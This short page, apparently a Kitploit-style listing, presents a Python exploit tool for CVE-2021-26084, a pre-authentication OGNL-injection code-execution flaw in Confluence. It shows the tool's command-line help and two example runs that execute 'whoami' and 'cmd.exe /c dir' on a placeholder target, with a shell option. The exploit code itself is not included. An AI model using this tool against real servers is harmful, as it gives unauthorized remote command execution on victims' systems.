CVE-2021-26084_Confluence — CVE-2021-26084 - Confluence预认证RCE OGNL注入回显 | Kitploit

分享

CVE-2021-26084 - Confluence 预授权 RCE OGNL 注入

使用方法

usage: cve-2021-26084_confluence_rce.py [-h] --url URL [--cmd CMD] [--shell]

CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection

optional arguments:
  -h, --help         show this help message and exit
  --url URL, -u URL  Target Url
  --cmd CMD, -c CMD  Command
  --shell            Get shell

python3 cve-2021-26084_confluence_rce.py -u http://target:8090 -c "whoami"

1630484082986

python3 cve-2021-26084_confluence_rce.py -u http://target:8090 -c "cmd.exe /c dir"

1630484112292

参考：